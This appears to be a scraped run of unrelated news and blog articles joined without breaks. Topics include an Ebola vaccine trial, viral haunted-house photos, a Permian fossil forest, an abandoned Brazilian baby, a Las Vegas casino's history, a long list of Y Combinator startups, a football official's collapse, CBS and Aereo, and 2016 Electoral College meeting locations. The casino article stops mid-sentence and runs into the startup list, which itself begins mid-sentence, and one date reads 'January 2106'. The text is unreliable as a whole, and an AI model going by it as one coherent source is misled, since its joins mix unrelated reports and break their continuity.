About 28,000 people have been infected in Guinea, Sierra Leone and Liberia in the worst Ebola outbreak in history, according to the WHO, and more than 11,000 have died.
VSV-ZEBOV may become the first licensed vaccine against the disease for which there is also no approved treatment or cure.
The trial showed that the vaccine "offers 100 per cent protection against Ebola after roughly one week," said researcher Sven Trelle from the University of Bern.
The test, backed by drug firm Merck, the WHO and the governments of Canada, Norway and Guinea, saw 4,123 high-risk people vaccinated immediately after someone close to them fell ill with the deadly haemorrhagic fever.
None of the vaccinated group caught the virus, according to study results published in The Lancet medical journal.
A second, comparison group of 3,528 people received the vaccine only three weeks after potential exposure. Sixteen of them contracted the virus, said the study, but by day six after immunization, the remainder of this group was also fully protected.
"Indeed, no vaccinee developed symptoms more than six days after vaccination, irrespective of whether vaccination was immediate or delayed," said the study paper.
"The initial results of the study show that the vaccine can effectively contain the further spread of the Ebola virus," added a statement from the University of Bern, which contributed to the research.
This is big news -- the most promising medical development so far in the ongoing race to shut down Ebola," Benjamin Neuman, a virologist with the University of Reading, told AFP.
Added Peter Smith of the London School of Hygiene and Tropical Medicine, the results were "very exciting and suggest that the Ebola vaccine tested may be highly effective in protecting against Ebola disease among those in the immediate vicinity of an Ebola case."
Also on HuffPostOne year ago, the haunted house called Nightmares Fear Factory in Niagara Falls, Canada scored a major marketing win after its candid photographs of horrified guests went viral online. With Halloween 2012 only a week away, Jakob Schiller over at Wired caught up with the house’s marketing director Vee Popat for the inside scoop of how the images are shot:
At one point in the attraction […] the groups come to a spot where they trigger a Nikon D80 camera and flash at the exact moment where they encounter some unknown fright that is so scary it provokes grown men to hide behind their wives and friends to jump into each other’s arms. The idea for the photos was inspired by photos of people yelling as they ride rollercoasters. Popat says the owner used to actually sit in the haunted house and take the photos himself. Just like amusement parks, attendees at Nightmares can purchase their photos after they’ve recovered from the excitement and the “best of” photos circulate on monitors in the lobby.
In case you missed the viral images last time, here’s a sampling of some of the house’s recent photographs:
Nightmares Fear Factory runs a popular Flickr account where it uploads a “best of” collection to a new set for every month.
People Lose Their Sh*t in Hilarious Haunted House Photos Part Two [Wired]
Image credits: Photographs by Nightmares Fear FactoryIf you own a Wii, you were probably a little bummed out to hear that Amazon would be serving up Instant Video to the Wii U and not to your older console.
But fret no longer, as Amazon has just announced that its library of streaming video content is now available to Wii owners.
Amazon’s Instant Video library is home to over 145,000 titles, and if you’re a Prime member you have automatic access to over 33,000 titles right off the bat.
Other features you may have grown accustomed to on Amazon’s media streaming platform are also present, including Whispersync, which lets users pick up right where they left off on another device. Like, say, a Kindle Fire.
Navigation is relatively simple, giving users categories like Recently Watched, Watchlist, Genre Recommendations and Your TV Shows.
Users will also have access to Parental Controls and Kid Zone title lists to make sure kids aren’t wandering into treacherous territory.
The service is available now to all Wii owners and can be found in the Wii Shop Channel.About 300 million years ago, volcanic ash buried a tropical forest located in what is now Inner Mongolia, much like it did the ancient Roman city of Pompeii.
This preserved forest has given researchers the unusual opportunity to examine an ecosystem essentially frozen in place by a natural disaster, giving them a detailed look at ancient plant communities and a glimpse at the ancient climate.
This ancient, tropical forest created peat, or moist, acidic, decaying plant matter. Over geologic time, the peat deposits were subjected to high pressure and became coal, which is found in the area.
The volcano appears to have left a layer of ash that was originally 39 inches (100 centimeters) thick.
"This ash-fall buried and killed the plants, broke off twigs and leaves, toppled trees, and preserved the forest remains in place within the ash layer," the authors, led by Jun Wang of the Nanjing Institute of Geology and Palaeontology in China, wrote in an article published Monday (Feb. 20) in the journal Proceedings of the National Academy of Sciences.
The ash layer dated to about 298 million years ago, early in the Permian Period, when the supercontinent Pangea was coming together.
The researchers examined three sites with a total area of 10,764 square feet (1,000 square meters) near Wuda, China. At these sites, they counted and mapped the fossilized plants. The tallest trees that formed the upper canopy — species in the genera Sigillaria and Cordaites — grew to 82 feet (25 meters) or more. Lower down, tree ferns formed another canopy. A group of now-extinct, spore-producing trees called Noeggerathiales and palm-like cycads grew below these, they found. [Image Gallery: A Petrified Forest]
Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree to our Privacy Policy
"It's marvelously preserved," University of Pennsylvania paleobotanist and study researcher Hermann Pfefferkorn said in a press release issued by the university. "We can stand there and find a branch with the leaves attached, and then we find the next branch and the next branch and the next branch. And then we find the stump from the same tree. That's really exciting."
You can follow LiveScience senior writer Wynne Parry on Twitter @Wynne_Parry. Follow LiveScience for the latest in science news and discoveries on Twitter @livescience and on Facebook.Get the biggest daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now
This is the shocking moment a woman abandons her naked newborn baby by a street lamp, only for the child to be discovered by his granddad half-an-hour later.
These shocking CCTV images show the infant's granddad pick up the tiny bundle – who still had his umbilical cord attached – and cradle him in his arms, not knowing that he was his own flesh and blood.
His daughter had kept her pregnancy secret from her family after splitting up from her boyfriend - and left her naked child propped up by the post next to a rubbish bin after giving birth alone in a bathroom at home.
In a remarkable string of coincidences the baby’s dad discovered he was father to a boy after recognising his ex in the CCTV footage during a public appeal for information about the abandoned child in Paraiba, Brazil.
Moises Pereira Teixeira, whose former girlfriend told him she had miscarried their child after four months, spoke last night of his joy at being reunited with the child he never knew he had.
(Image: Globo.com)
Astonishingly, the baby had already been named Moises by authorities after the biblical character Moses, before they discovered who his dad was and the fact he had the same name.
Proud father Moises senior said last night: “Thanks to God I have the support of my family, my mum, my grandfather and even my new girlfriend.
“Discovering my baby boy who I didn’t even know existed was safe after being abandoned at birth was such an emotional thing.
“And knowing that by sheer coincidence he had been given my name was an ever greater emotion.
(Image: Globo.com)
“I hope now to win permanent custody. What happens to the mum is a question of divine justice. It’s not for me to forgive.”
The mum, who has not been named, is now facing criminal charges after a psychological examination.
She and her dad, who recognised his daughter in the CCTV footage the authorities released but decided to stay silent, have received death threats.
The granddad told Brazilian news site gobo.com: "The moment I saw the video, I said, 'can a woman not have a baby in my house?' I'm sinning, I'm thinking ill of my daughter. And I kept quiet."
(Image: Globo.com)
The child's mum said her pregnancy had "gone unnoticed".
Talking about giving birth, she said: "I was screaming in the towel to anyone listening. I was suffering there all alone. I held the baby in one arm, the placenta in the other. I cut the umbilical cord. It was a lot of blood."
She said she acted without thinking, in desperation and due to a loss of blood.
"I acted mechanically. I was no longer in logical reasoning," she said.
Brazilian judge Queiroga Gadelha Graziela de Souza requested a psychological examination of the woman.The Silver Slipper was a casino in Paradise, Nevada that operated from September 1950 to November 29, 1988. The building was designed by architect Martin Stern, Jr.
History [ edit ]
Opened in 1950, the casino was built on the grounds of the Last Frontier Village[1] of the Hotel Last Frontier, and was originally named the Golden Slipper Saloon and Gambling Hall. The owner originally wanted to call it the Silver Slipper, but there already was an existing establishment with that name. The problem was solved when that small operation was purchased and closed, and the Golden Slipper became the Silver Slipper. The casino was known for its rotating slipper that sat atop the casino.
In April 1964, the casino became the first in Nevada to be shut down on cheating charges. Agents raided the Silver Slipper for using "flat" dice and for having other rigged games.[2]
On April 30, 1968, the Silver Slipper was purchased by businessman Howard Hughes for $5.4 million in his famous spending spree of buying Vegas properties, which included the Frontier next door.[1] He purchased the casino because he was afraid that the toe of the slipper, that faced the window of his Desert Inn penthouse, could contain a photographer taking pictures of him[3]. After several attempts at requesting that the slipper be turned off, Hughes purchased the casino, turned off the lights and had the rotating mechanism dismantled. The Silver Slipper was sealed, so no one could enter[3].
The casino was purchased for $70 million on June 23, 1988 by Margaret Elardi, who by this time owned the Frontier. It was demolished several months later and turned into a parking lot for the Frontier until its closing and demolition in 2007. There were plans to build an addition to the Frontier on its former grounds; however, they had to eventually be scrapped due to a costly union strike taking place, which put a severe financial strain on the resort.
In 2009, the Silver Slipper sign |
conversion rates. It charges $150 per seat per month, and next Clover wants to move into customer service, success and compliance as it tries to own the enterprise voice space.
Kangpe – Health insurance for Africa
Costly, unnecessary hospital visits drive up insurance premiums beyond the buying power of most people in Africa. Kangpe combines telemedicine with health insurance to make premiums cheaper. When someone thinks they’re sick, they connect with a doctor via the Kangpe app or SMS; 70 percent don’t end up needing to go to a hospital, and the 30 percent that do are covered by Kangpe’s insurance. It already has the telemedicine app and is now building out its network of local clinics. Since big insurers can’t adapt to telemedicine fast enough, Kangpe could win lots of business in the $5 billion a year health insurance market in Africa, and thinks it can grow that market to $20 billion by being more affordable.
Read more about Kangpe on TechCrunch
Dost Education – Making literacy affordable
There are 150 million illiterate women in India who have trouble educating their children, leading to a cycle of illiteracy. Dost is a nonprofit where people sign up to get regular audio calls that instruct them how to teach their kids in preparation for kindergarten. These lessons are simple for parents to understand and share with kids, which has led to 3X more home education by its users and a 0.5-grade level increase for their children. Dost costs parents $0.91 a month, so the nonprofit is sustainable, and now it just needs startup capital to build out its lesson plans and infrastructure.
Cambridge Bio-Augmentation Systems – Plug-and-play standard for human bionics
CBAS wants to be the USB port for the human body. The startup has developed a low-cost implant that can connect any bionic device, like artificial limbs, to any part of the body, and give patients control of their prostheses. It also created the first live streaming nerve implant to gather data from a pig’s leg. CBAS wants to be the standard on which all bionic implants build. Just for amputees, this could be a $9 billion a year market, and now 10 companies have switched to the CBAS standard.
Symple – Venmo for B2B payments
There are 5 billion checks written and mailed per year for business-to-business payments in the U.S. Symple lets users take a photo of an invoice to digitize them and pay right through the app. It now has 219 companies on board, and it’s growing virally as businesses force their vendors to sign up. Symple charges $4 per invoice, but waves fees for the first six months to boost growth. It could become a $20 billion business if it can convince companies to ditch paper for a quicker, easier digital alternative.
Read more about Symple on TechCrunch
Cowlar – Fitbit for cows
It’s way smarter than it sounds. Cowlar makes a special collar for cows that tracks their temperature, activity and other data, and makes it available to farmers. It can recognize a cow with an infected hoof from the change in its gait, or identify that a cow is pregnant and will eventually produce milk. Cowlar costs $69 per cow with a $3 per month subscription, and provides a solar-powered “cow router” that collects data from the collars. It already has 600 cows on the platform, with 7,200 on the waitlist, and has alerted farmers about 103 sick cows. It already has the opportunity to build an $11 billion business on milk cows, and could enter the 3X-bigger beef cow market next. While the idea might seem ridiculous, cows are a huge part of the economy, and more data on them leads to more revenue from them.
Wifi.com.ng – ISP for Africa
There are 120 million middle class people in Africa with smartphones, but only 12 million have broadband at home. Wifi.com.ng builds solar Wi-Fi transmission towers that can support 1,500 homes with Wi-Fi at 30 percent of the price of mobile data. It now has 35 towers and earns back the infrastructure cost in 7 months. The startup has $1.2 million annual recurring revenue, and is growing 25 percent per month. Africa doesn’t have the phone lines or roads to run traditional cables, and satellites and drones won’t work in dense cities, so Wi-Fi is the answer. Wifi.com.ng believes it can become the Comcast of Africa.
Playment – Mechanical Turk for enterprise
When e-commerce businesses need to label products, they either use scalable but lower-quality Mechanical Turk, or accurate but expensive and unscalable outsourcing systems like Accenture. Playment utilizes a mobile app to let task workers do labeling on the go, while using software to ensure accuracy, check worker qualifications and filter out spam. India’s Flipkart fired Accenture and gave the $300,000 contract to Playment. It claims to be 10X faster and 50 percent cheaper thanks to its mobile work desk, and is attacking a $150 billion outsourcing market.
Read more about Playment on TechCrunch
Effective Altruism – Finds you the best charities
Giving to charity without doing intense research is like burning money, because a study showed that 75 percent of social programs have zero or negative impact. Effective Altruism does the legwork for you. You sign up, choose causes you care about like global poverty or animal treatment, and make a donation. Effective Altruism finds the charities with the most positive impact in those areas and routes the donation for you for free. It believes it could provide donors 400X more impact per dollar, and could boost charitable giving by increasing confidence that the money gets good done.
Quiki – Intelligent FAQs
Seventy-two percent of customers prefer online self-service for customer support to talking to the company directly, and self-service FAQs are much cheaper than call center support staff. Quiki uses natural language processing to turn previous conversations between support reps and customers into FAQs everyone can access. It’s already turned 2,000 questions into FAQs that can boost a company’s SEO along with customer satisfaction.
Sinovia Technologies – Next-gen OLED displays
OLED displays are better than standard LCD displays, but also more expensive. Sinovia wants to be the supplier of every small display everywhere by making these OLED displays 80 percent cheaper. The displays are also paper-thin, flexible and transparent. For example, you could get a bike display that wraps around your handlebars using Sinovia’s patented technology. The founding team is a group of Stanford Ph.D.s and plan to disrupt the more than $15 billion OLED display market with a sweet spot entry point in wearables. The company already has LOIs from Fuseproject, Astro and Striive.
BuyPower – A bill payment platform for Africa
Africa is fast adopting new technologies and BuyPower aims to be the PayPal for Africa, starting with Nigeria. PayPal had eBay, but BuyPower has what co-founder Asehinde Oladipo says is something better, reduction of people waiting in lines to pay their bills. The startup already has 40 percent market share in the cities in which it operates, with 150,000 monthly paying users. It takes a 4 percent cut from each user and says it is profitable, taking on the $14 billion electricity market in the country. It plans to launch a peer-to-peer payment service soon and then “become PayPal, that’s it!”
ServX – Uber for auto repair in India
YC seems to be on a theme of emerging markets this time around, and ServX is part of that trend with an on-demand auto repair startup. As co-founder Akansh Sinha explains the service, you book an auto repair through the app, a driver picks it up, takes it to the shop and fixes it. But ServX also aims to provide trust in the market with vetted repair shops that will fix your car with high-quality parts and you only pay when you are satisfied with the job. The founder says ServX is profitable and has grown 52 percent month-over-month since launching in January 2106. In just the last week, ServX has completed 6,000 repairs, putting it at a $3.3 million revenue run rate, according to Sinha.
Clear Genetics – Automated genetic counseling
There are more than 45,000 genetic tests out there now, but most require a prescription and an appointment with a genetic counselor. The problem is there is a shortage of genetic counselors. Clear Genetics thinks it may have created the future of genetic counseling by telling you which tests you need and giving you the results without the need to chat with a counselor first. The genetics software gathers patient data, pairs it with other data and tells them the results. If a patient needs further counseling for more serious issues it refers them to a counselor. So far the company is operational in Israel for pregnancy genetic counseling, serving 60 percent of the market, but genetic counseling as a whole is a $5 billion market in the U.S., and even bigger throughout the world.
Humi – the “Gusto” for Canada
Employee benefits management is big business and Humi aims to provide these types of HR services in the cloud to Canadians for free. Canada, says Humi, is wide open, and with plenty of small to medium businesses paying out more than $10 million to providers. It has already added 650 companies with a $300,000 ARR.
BloomAPI – Automated access to health records
Just thinking about the pain of gathering all health records in one digital place can induce headaches for anyone dealing with our current healthcare system, but BloomAPI aims to take on this enormous issue by simplifying the medical records release process by digitizing medical records. Right now it can take up to 12 phone calls and costs the insurance company $17 every time you ask for a medical record transfer request. Insurance companies buy BloomAPI and then install the software. The software is free to doctors and has already gained access to 1 million records in its eight-month existence, claiming to be one of the largest repositories of medical records. After replacing faxing, Bloom says it will be able to own the market by owning the data.
Movebutter – Blue Apron for groceries
A self-described “online Trader Joes” sounds like it might just be another Instacart or some version of FarmFreshtoYou. And as the founder of Movebutter says, the margins are super low. But Movebutter says it can make 40 percent margins. That’s because it sells fewer items that you buy more of, with a $32,000 weekly revenue. It also ships straight to your door one week of groceries of just 20 items you might usually buy. It ships to 40 states and claims to be the biggest grocery store in the country now.
Volans-i – B2B drone delivery
Amazon promised consumer drone delivery via Amazon PrimeAir but you likely don’t need a toothbrush in your backyard via drone. Businesses, however, do need deliveries fast, and volans-i aims to speedily deliver those shipments door-to-door via drone. For example, a company may need a certain part delivered to keep up with production. Volans-i steers its drones to this company with up to 50 lbs of payload going 1,000 miles — or 15,000 shipments per year per customer, according to the company. Volans-i’s team comes from strong industry backgrounds including Northrup Grumman, and the company believes it can save time and money for a number of business categories, including high-tech, aviation, medical, oil and gas, automotive and manufacturing.
Apozy – Software aiming to stop phishing and malware
Phishing and malware are the single biggest issues for businesses worldwide, and one of the largest VC firms in the world was recently attacked. The founder says he knows how to hack anyone in the audience because he worked as an ethical hacker. More malicious hackers use similar-looking sites to trick you into giving away your password. Apozy is a browser extension that detects a suspicious link and will warn you when a site is fake. It is also creating the world’s largest database of zero-day attacks for the possibly 76,000 companies that don’t have a solution to getting hacked. It’s still early days but, so far, eight companies have adopted Apozy in the last three weeks.
Kudi – Bill payment through mobile messaging in Africa
Venmo and PayPal have penetrated the U.S. market, but Kudi aims to do the same in Africa — but over chat. There are 900 million mobile phones in Africa and people hardly install new apps, but 90 percent of payments happen offline. Not because they don’t have phones but because most solutions “suck,” according to the founder. Using Kudi, people send a message they want the money to move from one place to another and Kudi will process the request. The company launched in January 2017 and is growing 70 percent weekly. It also has partnered with Nigeria’s largest bank, with more than 10 million customers in a $12 billion market in Nigeria alone. The team also seems to know their stuff when it comes to banking and technology, as it is a bunch of fintech experts working in Europe and Africa for the last 5 years.
UpKeep Maintenance Management – Maintenance software for small to medium businesses
UpKeep is designed to keep technicians happy by creating easier solutions, including simple barcode scanning applications, task management and inventory management accessible through a mobile device. Why does this matter? Founder Ryan Chan says it’s a huge pain to have several steps written on paper by several people throughout the process, leaving lots of room for possible mistakes. However, UpKeep works by snapping a picture and taking notes as technicians are out in the field, eliminating the need to write it down several times. It is cash-flow positive and has more than 300 paying customers, 95 percent of which came in organically. The company now has more than $405,000 in ARR and is growing 20 percent month-over-month.
Solugen – Converting plant sugars into hydrogen peroxide
Scientists border on alchemy these days and Solugen is a good example. The startup processes plant sugars in a new way to make hydrogen peroxide, a solution used by many industries — and is even in the chair we all sat in at YC Demo Day. Solugen says this process is cleaner, safer and purer than anything else on the market. Currently, hydrogen peroxide costs a lot and easily explodes, causing dangerous working conditions. However, Solugen’s pilot project cost just $7,000 at small scale, cutting costs on the product and on shipping costs. But peroxide is only the first entry point. Solugen plans to make more cleantech products using its cheaper process, and currently has $120,000 ARR.
Credy – Peer-to-peer lending in India
Lending is a new concept for India, and Credy intends to capture this market using biometric identification for fraud protection. India holds an enormous $50 billion potential lending market that will double by 2020. India is also “credit hungry,” according to co-founder Pratish Gandhi. Credy also supports real-time credit scores and provides paperless zero fraud protection lending. Founded by two former Goldman Sachs VPs with 15 years of experience between them, so far Credy has received 350 loan applications.
Marketfox – Marketing automation
Marketfox helps optimize for mobile and website by helping marketers acquire users through web push and in-app, as well as cutting through the marketing silos. It does this by tracking users across devices rather than on just your laptop or just your phone. The founder previously sold his business to Freshdesk and Marketfox is currently growing 18 percent week-over-week and claims to be increasing customer’s rev by 30 percent so far.
Scaphold.io – One API for all your clouds
Do you need a universal API? Scaphold.io is building one for you to cut down on complicated integrations. Maintaining integrations is a time-consuming and costly process, but Scaphold.io handles all of that maintenance behind the scenes while translating them to make sense for your needs. It solves the problem using GraphQL, is growing 30 percent month-over-month and has already pulled in partnerships with companies like National Geographic and Visa, as well as handles more than 200 integrations of platforms “every day.”
Mere Coffee – A coffee machine for your small to medium business
If you are like most business people you likely already have a coffee machine at your office. But the founder doesn’t like pod coffee as it “tastes terrible” and isn’t environmentally friendly. However, Mere promises a superior experience with its champion machine using compostable single-serve whole bean coffee. The company promises to bring your business the best beans on a weekly basis, and provides the machine to create a craft-brew experience. It has already conducted a paid beta and makes a 50 percent margin on its subscription service. It is now rolling out to the Bay Area and says it is getting traction from several tech startups.
Delee – A blood test for circulating tumor cells
Cancer is one of the biggest killers in the U.S. and Delee aims to take on the “emperor of all maladies” with a blood test device able to isolate tumor cells. The patent-pending device aims to personalize cancer treatments based on a new approach.The founding team comes from Stanford and the Rochester Institute of Technology and works in biomedical engineering; the startup has already run a successful clinical trial using 15 patients, isolating tumor cells for 13 of them. Delee aims to take on bigger companies working in the same space, like Grail, and take on a $2 billion market.
REZI – “OpenDoor for leases”
REZI rovides a new model for owners to ensure they will be able to rent out their rental properties. It can generate rental offers for tenants in seconds and pays rent to property owners upfront, reducing the risk they face. The whole thing is powered by a product called Morpheus, which prices tenant risk and models vacancy risk. In the first seven weeks since launching, the company has completed 12 transactions and received two term sheets for $35 million of debt back by its leases.
Algoriz – AI that turns ideas into automated trading algorithms
Algoriz allows traders to turn ideas into trading algorithms without having to hire a programmer or wait weeks for custom code. The company allows traders to tag their ideas in English, which it turns into code on the spot. Since launching in March, Algoriz has signed up 500 professional traders on the platform who are implementing their strategies. It’s also received a letter of intent from a $200 million hedge fund to use its platform.
AlemHealth – Building a radiologist in a box using machine learning
AlemHealth is building a platform that will bring better radiology diagnosis to emerging markets. While there are thousands of CTs and X-rays in emerging markets, less than 20 percent are read by radiologists. Using machine learning, AlemHealth hopes to solve that problem. By attaching to CT machines in Nigeria, AlemHealth is collecting data and sending those scans to radiologists all around the world. It’s getting paid $1 per scan today, while also adding those scans to its database.
Wifi Dabba – Building India’s largest wireless ISP
There are 800 million Indians who are being ignored by local ISPs today because their cellular data or ISP data plans are too expensive. Wifi Dabba is trying to change that by building a network of Wi-Fi hotspots in tea stores around the country. The company brings hardwired lines to those shops and enables them to sell affordable Wi-Fi access to customers. Stores become break-even for WiFi Dabba after four months on the network and the company makes 30 percent of all Wi-Fi sales. Wifi Dabba has partnered with the local regulator TRAI to roll out more broadly, and it hopes to become the default Wi-Fi option blanketing cities throughout the country.
LitHit – A smart target for shooting sports
LitHit combines technology, shooting and gaming all into one. The company is targeting the 20 million target shooters in the U.S., with a combined hardware and subscription software business. By partnering with shooting ranges, the company is hoping to attract users to buy its smart targets and subscribe to its online shooting games.
Trade – Building Africa’s commodity exchange
Trade wants to kick the middlemen out of the exchange of commodities in Africa. Today, those middlemen take between 50 percent to 70 percent out of the sales of goods there. By creating a marketplace, Trade connects both sides and takes just 6 percent of all sales. With just five commodities the company is targeting to start, Trade estimates West Africa is potentially a $3 billion market for the company.
Rippling – A better way to onboard new employees
Whenever a new employee is hired, a company has a list of 100 to 200 things you need to do to get them up and running. Now HR departments only need to click hire and Rippling will do everything else. From setting up employees with payroll to getting them their company-issued laptop to getting them signed up for email, Slack and all the other cloud services a business might use, Rippling takes care of it.
Fiix – Uber for auto repair
Fiix sends licensed auto mechanics to customers’ homes, allowing repairs to happen within 3 hours. Eighty percent of all repairs can be done in a customers’ driveways, but mechanics usually work at shops because they can’t get their own customers. Fiix fixes that, by connecting mechanics directly with customers, and lowering costs by 30 percent off shop rates. The company has 38 percent per-unit margins and is growing 41 percent monthly over the past year.
Token Transit – Mobile app to pay for public transportation
Token Transit sells its service to public transit agencies, allowing riders to pay for transit with a mobile app. People spend $150 billion a year on public transit, but very few local agencies enable mobile payments. The company provides a cheaper way for agencies to allow riders to pay, reducing the need for expensive machinery those agencies need to maintain. Token Transit has signed on eight public transit agencies and is live in Reno, where it already makes up 7 percent of all ticket sales and has more than 1,000 monthly active riders.
Millibatt – Customizable battery technology
Millibatt sells small, inexpensive custom batteries to consumer electronic manufacturers. The company touts batteries that last 10 times longer than existing technologies at one-tenth the tooling costs traditional battery providers would charge. The company estimates that there will be 75 billion new consumer electronics devices that will need batteries in the coming years, and they want to service that market.
Supr Daily – Daily milk delivery service in India
More than 100 million Indians get fresh milk delivered every day, and Supr Daily wants to be the delivery service that reaches all of them. The company operates what it says is the first farm-to-home milk marketplace, cutting out middlemen to reduce costs and providing a better quality of product. The company is growing at 40 percent month over month and has 98 percent retention for its subscription service. It sees the milk market as a $13 billion market, but it’s looking to use that as a launching point to reach the $115 billion grocery market in India.
Indee – Hardware for gene delivery
Indee provides a new way to use CRISPR to edit the genome of cells. Current methods of editing genes include using viruses or electroporation, but Indee uses microturbulence to dissolve molecules within a cell. It currently is targeting a $1.5 billion addressable market for immunotherapy, but sees that market growing to $9 billion as the market improves.
Riley – Lead qualification as a service
Companies that buy leads can use Riley as their first point of contact. It will respond to all inbound leads within two minutes, 24 hours a day and seven days a week. That not only increases conversion rates, but Riley also helps to score leads for customers so they know what the hottest leads are. The first market Riley is going after is real estate agents, who spend $6 billion a year on leads each year, but the company also plans to go after the insurance, car sales and mortgage lending markets.
InnaMed – Connected home blood-testing device
One in four patients leaving the hospital after being treated for heart failure are re-admitted in the next 30 days. InnaMed helps reduce those rates by helping doctors monitor patients’ health with inexpensive, connected blood-testing devices. By automating and scaling the best practices of hospitals, the company hopes to go after a $17 billion market.
Firsthand – Inexpensive, self-service retail kiosks
Firsthand allows companies, cafes and bars to monetize their extra space by installing inexpensive, self-service retail kiosks. Each kiosk costs just $300 to make, but pay for themselves in less than a month. The company is taking the same approach as the 7 million vending machines in the U.S., but producing 10 times the margins on products sold. At the same time, Firsthand captures retail foot traffic and demographic data to make sure the right products are being sold in the right place.
No Lean Season – Travel grants to reduce hunger
No Lean Season is a nonprofit designed to solve seasonal poverty. For a few months each year, poor farmers are unable to make money. No Lean Season gives poor farmers a bus ticket to other areas where workers are needed, allowing them to find work and generate $200 in income instead of going hungry.
DocTalk – WhatsApp for Indian doctors and patients
In India, it is impossible for patients to get a quick response to their questions, as doctors there don’t want to answer them without getting paid. DocTalk provides a way for doctors to make money for answering those questions, and takes 50 percent of all revenues made by them. The company is now making $720 per doctor per month, but it costs just $40 to acquire those doctors.
Boxouse – Productized rental homes
Boxouse is trying to give homeowners a way to make extra money by renting out small, factory-built homes that they can place in their yard. The company installs those small guest homes and splits the revenue from renters with those who own the property. Units are profitable within the first year that they are live.Kevin Friend collapsed at the end of the first half at the Vitality Stadium
Fourth official Kevin Friend collapsed and hit his head on a dugout during Tuesday's Premier League game between Bournemouth and Southampton.
Friend, who cut his face, was treated in the tunnel before being taken to hospital, where he stayed overnight.
The incident happened as the first half came to an end at the Vitality Stadium.
The start of the second half was delayed by five minutes as Friend was replaced by Dean Treleaven, a qualified referee who was watching the match.
"I was on the bench and he came to us and he fell against the dugout, with his nose, and then fell to the ground," said Saints boss Ronald Koeman.
"For maybe five seconds, he was out of everything."
Bournemouth manager Eddie Howe, whose side won 2-0, added: "I saw him collapse. I saw him very dazed and shaken."CBS is one of a number of broadcasters enraged that Internet TV startup Aereo is still in business. At one point, the company said that it would discontinue its over-the-air broadcasts if Aereo was permitted to keep operating. Aereo, as many will recall, allows users to stream TV to their computers and mobile devices for $8 per month, and it skirts standard licensing fees by pulling free TV transmissions out of the air with physical HD antennas and then piping them over the web. While broadcasters have sued the startup in an effort to shut it down, CBS CEO Leslie Moonves’s recent comments suggest he doesn’t think his company would really suffer at all if Aereo wins in court.
“Look, we expect that the Supreme Court will do the right thing and side with the people who are providing the content,” Moonves told CNBC in a recent interview. “Not the people who are taking our content and using it illegally, which is our point of view. However, if that should happen, if the worst should happen, there are so many other alternatives that will not—so this will not affect our bottom line.”
He continued, “Obviously the networks collectively could do their own version of Aereo, there’s a way to put our signal on cable without putting it over the air. There’s also over-the-top for us. So, there are many, many alternatives to allow people to receive our signal no matter what happens. It’s something that the Supreme Court will decide, but it’s not anything that we’re deeply concerned about because we have alternatives.”
Karl Bode of DSLReports.com shared some thoughts on Moonves’s comments: “As Moonves notes, if Aereo wins you’ll likely see cable operators follow right on Aereo’s heels in providing live TV streams in order to bypass soaring retransmission fees. Moonves suggests that the win would result in broadcasters delivering services that consumers have been clamoring for all along, while not hurting CBS at all. Moonves is essentially just whining then that somebody is forcing his industry to start adapting and offering service that consumers have been asking for, something that if anything could make them more money than ever. Sounds rough.”Hear Ye, Hear Ye: Attend Your Local Electoral College Meeting On December 19
Michael Tracey Blocked Unblock Follow Following Dec 15, 2016
Despite the recent round of frenzy, the Electoral College will probably not subvert the will of their states’ voters and block Trump. Still, who knows? It’s a remote possibility. I’d probably peg the likelihood at something like 3%. Not great odds — but not zero.
I think it’s therefore a good idea for all interested citizens to attend their state’s Electoral College meeting on Monday, December 19. Even aside from the modicum of drama, it will make for a good civics lesson! Such meetings are open to the public and all take place at state capitol buildings or like facilities.
If there is any “drama” to be had, it will occur in states with Republican electors. And the notion of a “swing state” ceases to apply here, so what happens at the Austin, TX statehouse will be just as consequential as what happens at the Tallahassee, FL statehouse. In order for the proposed Electoral College coup to succeed, Republican electors need to be persuaded. We already know that at least one GOP elector, Mr. Suprun of Texas (who has retained a PR firm to handle all his media inquiries) has declared he won’t vote for Trump. Will there be more? Maybe. Who knows?
In states where Hillary won, the outcome is already foreordained, so not quite as interesting, but even that would be worth observing if you’re in the area. (Although, maybe one or two Bernie diehards will refuse to vote Hillary? It’s possible.)
For these reasons and more, I thought I’d compile a list of GOP electors’ meeting places, times, etc. I will personally be in Harrisburg, PA on Monday. Annoyingly, not every state has public information listed yet for when/where electors are supposed to meet.
Pennsylvania:
December 19, 2016
12:00 P.M. EST
Pennsylvania State Capitol — Chamber of the House of Representatives
501 N. 3rd St.
Harrisburg, PA 17120
Ohio:
December 19, 2016
12:00 P.M. EST
The Ohio Statehouse
1 Capitol Square
Columbus, OH 43215
(Apparently you need a “ticket” but I’d dispute that, you can probably just waltz right in, or at least I would)
Michigan:
December 19, 2016
2:00 P.M. EST
Michigan State Capitol — Senate Chamber
101 N. Capitol Ave.
Lansing, MI 48933
Wisconsin:
December 19, 2016
12:00 P.M. CST
Wisconsin State Capitol — Room 412E
2 E. Main Street,
Madison, WI 53703
Indiana:
December 19, 2016
10:00 A.M. EST
Indiana State Capitol — State House of Representatives Chamber
200 W. Washington St.
Indianapolis, IN 46204
Florida:
Tallahassee, FL
(Exact time/location of meeting unclear: Governor gets to decide)
Update: Info from the Secretary of State’s Office
December 19, 2016
2:00 P.M. EST
Florida State Capitol — Florida Senate Chamber
400 S. Monroe St.
Tallahassee, FL 39399
(Note: the person on the phone said “seating is limited” and no further members of the public can be accommodated, but I bet if you just show up you can get in.)
Mississippi:
December 19, 2016
10:00 A.M. EST
Mississippi State Capitol — Room 114
400 High St.
Jackson, MS 39201
Alabama:
December 19, 2016
12:00 P.M. EST
Alabama State Capitol — Office of the Secretary of State
600 Dexter Ave.
Montgomery, AL 36130
Louisiana:
December 19, 2016
11:30 A.M. CST
Louisiana State Capitol — Senate Chamber
900 N. 3rd St.
Baton Rouge, LA 70802
Arkansas:
December 19, 2016
10:00 A.M. CST
Arkansas State Capitol — Old Supreme Court Room
500 Woodlane St.
Little Rock, AR 72201
Texas:
December 19, 2016
2:00 P.M. CST
Texas State Capitol — (Exact location not yet known, Secretary of State must announce)
1100 Congress Ave.
Austin, TX 78701
Oklahoma:
December 19, 2016
10:00 A.M. CST
Governor’s Office (NOT the legislative chamber!)
Oklahoma State Capitol
2300 N. Lincoln Blvd., Room 212
Oklahoma City, OK 73105
Arizona:
Unclear: no state statute appears to govern this, no announcement yet from Secretary of State http://www.azleg.gov/arsDetail/?title=16
UPDATE — Just called the AZ Secretary of State, who provides this info:
December 19, 2016
10:00 A.M. MST
